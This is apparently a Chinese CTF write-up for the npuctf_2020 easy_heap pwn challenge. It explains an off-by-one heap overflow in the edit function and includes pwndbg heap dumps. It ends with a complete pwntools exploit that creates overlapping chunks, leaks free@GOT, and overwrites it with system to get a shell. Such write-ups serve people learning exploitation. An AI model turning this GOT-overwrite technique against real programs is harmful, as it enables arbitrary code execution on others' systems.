还是太菜了 不过啥时候mac版本的ida能够更新一下 确实新题得连蒙带猜了
[堆重叠]npuctf_2020_easy_heap
审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| unsigned __int64 edit() { __int64 v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); printf("Index :"); read(0, (char *)&v1 + 4, 4uLL); LODWORD(v1) = atoi((const char *)&v1 + 4); if ( (signed int)v1 < 0 || (signed int)v1 > 9 ) { puts("Out of bound!"); _exit(0); } if ( heaparray[(signed int)v1] ) { printf("Content: ", (char *)&v1 + 4, v1); read_input((void *)heaparray[(signed int)v1][1], *heaparray[(signed int)v1] + 1LL); puts("Done!"); } else { puts("How Dare you!"); } return __readfsqword(0x28u) ^ v2; }
|
这是edit子函数中的代码 与之前的b00ks那题相比 这题的off_by_one就直接多了 直接暴力的多读取一个字符 所以我们在edit时可以造成堆溢出的 不过堆溢出构造堆时 都是调试着构造的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| def create(size,content): sh.recvuntil('Your choice :') sh.sendline('1') sh.recvuntil('Size of Heap(0x10 or 0x20 only) :') #题目的create函数有误 这里应该是0x18 or 0x38 sh.sendline(str(size)) sh.recvuntil('Content:') sh.sendline(content)
def edit(idx,content): sh.recvuntil('Your choice :') sh.sendline('2') sh.recvuntil('Index :') sh.sendline(str(idx)) sh.recvuntil('Content:') sh.sendline(content)
create(0x18,'aaaa') create(0x18,'bbbb') create(0x18,'/bin/sh\\x00')
|
先试一下 不行再调嘛 是因为我的ida版本比较低 所以静态分析时会看的比较难受 就调试着看啦 我们申请了3个结构体 查看堆结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| pwndbg> heap Allocated chunk | PREV_INUSE <---heap0_node(存储结构体0大小与内容地址指针) Addr: 0x140f000 Size: 0x21
Allocated chunk | PREV_INUSE <---heap0_content(存储结构体0内容) Addr: 0x140f020 Size: 0x21
Allocated chunk | PREV_INUSE <---heap1_node(存储结构体0大小与内容地址指针) Addr: 0x140f040 Size: 0x21
Allocated chunk | PREV_INUSE <---heap1_content(存储结构体0内容) 后同理 Addr: 0x140f060 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x140f080 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x140f0a0 Size: 0x21
Top chunk | PREV_INUSE Addr: 0x140f0c0 Size: 0x20f41
pwndbg> x/20gx 0x140f000 0x140f000: 0x0000000000000000 0x0000000000000021 0x140f010: 0x0000000000000018 0x000000000140f030 <--- 对应aaaa内容地址 0x18为长度 0x140f020: 0x0000000000000000 0x0000000000000021 0x140f030: 0x0000000a61616161 0x0000000000000000 0x140f040: 0x0000000000000000 0x0000000000000021 0x140f050: 0x0000000000000018 0x000000000140f070 <--- 对应bbbb内容地址 0x140f060: 0x0000000000000000 0x0000000000000021 0x140f070: 0x0000000a62626262 0x0000000000000000
|
边调试边看的 确实ida版本低了难受 好在这题代码比较简单 这回我们想到之前edit函数的堆溢出漏洞 如果我们edit(0) 控制长度为0x18 并且却输入0x18个a加上一个\x41 那么就可以将下一个堆块头部长度覆盖为0x41 从而实现overlapping
堆重叠
ctf里这种node和content两个堆的题目 可以采用直接伪造 也可以像这题一样通过overlapping实现二者互换
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| create(0x18,'aaaa') create(0x18,'bbbb') create(0x18,'/bin/sh\\x00')
payload = 'a' * 0x18 + '\\x41' edit(0,payload) dele(1)
pwndbg> bins fastbins 0x20: 0x228d060 ◂— 0x0 0x30: 0x0 0x40: 0x228d040 ◂— 0x0 0x50: 0x0
|
那我们申请一个比0x40小一点的堆 比如0x38 那么malloc会首先调用0x20这个fastbin 用来创建node 而后content的话再调用0x40的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| pwndbg> x/40gx 0x2086000 --------------------- heap0------------------------ 0x2086000: 0x0000000000000000 0x0000000000000021 0x2086010: 0x0000000000000018 0x0000000002086030 0x2086020: 0x0000000000000000 0x0000000000000021 0x2086030: 0x6161616161616161 0x6161616161616161 --------------------- heap0------------------------ --------------------- heap1------------------------ 0x2086040: 0x6161616161616161 0x0000000000000041 <--- heap1_content 0x2086050: 0x6161616161616161 0x6161616161616161 0x2086060: 0x0000000000000000 0x0000000000000021 0x2086070: 0x0000000000000100 0x0000000000602018 --------------------- heap2------------------------ 0x2086080: 0x000000000000000a 0x0000000000000021 <--- heap1_node & heap2_node 0x2086090: 0x0000000000000018 0x00000000020860b0 --------------------- heap1------------------------ 0x20860a0: 0x0000000000000000 0x0000000000000021 <--- heap2_content 0x20860b0: 0x0068732f6e69622f 0x000000000000000a --------------------- heap2------------------------ 0x20860c0: 0x0000000000000000 0x0000000000020f41 0x20860d0: 0x0000000000000000 0x0000000000000000 0x20860e0: 0x0000000000000000 0x0000000000000000 0x20860f0: 0x0000000000000000 0x0000000000000000
heap1_node与heap2_node完全重叠在了一起 heap1_content也包含住了heap1_node与heap2_node heap1的node与content相当于反了过来 可以结合fastbin看
|
太绕了 下次要画图了之前申请的第二个heap组加起来一共就0x40 那我这一申请了0x20+0x40总共0x60 所以其实申请的heap_content是包含了heap_node 相当于重叠在了一起 于是我们如果修改heap_content的话就可以修改到heap_node 进而使用show时打印node就可以获取地址了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| from pwn import * from LibcSearcher import * context.log_level = 'debug' sh = process('./npuctf_2020_easyheap') #sh = remote('node4.buuoj.cn',28997) elf = ELF('./npuctf_2020_easyheap') libc = ELF('./libc-2.27.so')
def create(size,content): sh.recvuntil('Your choice :') sh.sendline('1') sh.recvuntil('Size of Heap(0x10 or 0x20 only) :') sh.sendline(str(size)) sh.recvuntil('Content:') sh.sendline(content)
def dele(idx): sh.recvuntil('Your choice :') sh.sendline('4') sh.recvuntil('Index :') sh.sendline(str(idx))
def edit(idx,content): sh.recvuntil('Your choice :') sh.sendline('2') sh.recvuntil('Index :') sh.sendline(str(idx)) sh.recvuntil('Content:') sh.sendline(content)
def show(idx): sh.recvuntil('Your choice :') sh.sendline('3') sh.recvuntil('Index :') sh.sendline(str(idx))
gdb.attach(sh)
create(0x18,'aaaa') create(0x18,'bbbb') create(0x18,'/bin/sh\\x00')
payload = 'a' * 0x18 + '\\x41' edit(0,payload) dele(1) #pause()
payload='a'*0x10+p64(0)+p64(0x21)+p64(0x100)+p64(elf.got['free']) create(0x38,payload) pause()
show(1) sh.recvuntil('Content : ')
free_got = u64(sh.recv(6).ljust(8,'\\0')) print hex(free_got)
libc_base = free_got - libc.sym['free'] system = libc_base + libc.sym['system']
#pause() print hex(system) edit(1,p64(system)) #pause() dele(2)
sh.interactive()
|
由于此题的保护情况 我们的got表可以进行修改 所以不需要free_hook 并且这种一个node一个content结构的ctf题 一般edit修改的都是node地址所指向的内存地址 于是我们在create的时候放一个got表 edit的时候修改的就是got表内容了